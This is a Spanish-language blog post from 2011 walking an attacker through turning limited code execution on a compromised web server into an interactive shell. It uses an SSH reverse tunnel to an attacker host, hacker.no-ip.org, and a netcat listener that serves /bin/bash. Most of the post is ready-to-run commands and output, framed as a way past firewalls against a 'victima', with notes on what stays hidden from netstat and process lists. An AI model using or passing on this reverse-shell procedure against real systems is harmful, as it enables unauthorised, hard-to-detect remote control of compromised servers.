Thursday, June 23, 2011

Técnico : SSH port forwarding triangulado

Necesito sacarme el clavo con esto de no bloggear hace tiempo algo técnico :

Uno de los problemas que deben enfrentar un atacante al establecer conexiones desde Internet es pasar por los filtros de entrada/salida impuestos por los firewalls.
Casi siempre encontramos que las conexiones de entrada a la red estan filtradas y, por ejemplo, un servidor web comprometido solo expone TCP 80 y si acaso, 443. Como tener un shell hacia ese equipo ?

La respuesta conocida desde hace años es que se debe establecer un shell reverso y para existen desde el venerable netcat hasta su versión moderna ncat y pasando por el querido MetaSploit. Algo que también se puede usar es reDuh y, por supuesto, ssh. Hay varias guías que indican como hacerlo, pero, no he encontrado una en Español latino (o no busque bien), asi que ahi va :

1. Se debe haber conseguido alguna forma de ejecución en el servidor victima, por ejemplo, mediante un RFI, un webshell, etc., pero, que no permiten la flexibilidad de una línea de comandos de shell.

2. En el server victima digitar algo como :
victima$ssh -p 31337 -f -N -R *:8081:localhost:8080 optimusprime@hacker.no-ip.org
Esto abre un socket en el puerto 8081 de hacker.no-ip.org
Al hacer un :
victima$ps agux | grep ssh
se podrá ver el proceso ejecutando, pero, aún algo como netstat no mostrará nada.
El objetivo es que al conectarse al puerto 8081 de hacker.no-ip.org, lo redireccionará hacia el 8080 de victima sobre el canal ya establecido.

3. Correr un servicio en el puerto 8080 de la victima para que reciba la conexión reversa como por ejemplo
victima$ nc -l -v -n -p 8080 -e /bin/bash
listening on [any] 8080 ..

4. En hacker.no-ip.org podremos ver el socket aperturado en 8081
hacker:~# netstat -nap
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
......................................................................................................................................
tcp 0 0 0.0.0.0:8081 0.0.0.0:* LISTEN 12060/sshd: optimusprime

5. Conectarse desde otro host al puerto 8081 de hacker.no-ip.org :
otro_host$nc -v hacker.no-ip.org 8081
Connection to hacker.no-ip.org 8081 port [tcp/tproxy] succeeded!
Aqui ya se pueden ejecutar comandos del shell, en este caso, tipo bash

6. En la victima se aprecia la conexión, no se requiere una conexión de entrada, no se generan nuevos procesos y toda la comunicación es encriptada :
connect to [127.0.0.1] from (UNKNOWN) [127.0.0.1] 47934

Saludos!

ADD : Verificar en /etc/ssh/sshd_config de hacker.no-ip.org, exista la linea :
GatewayPorts yes

No comments: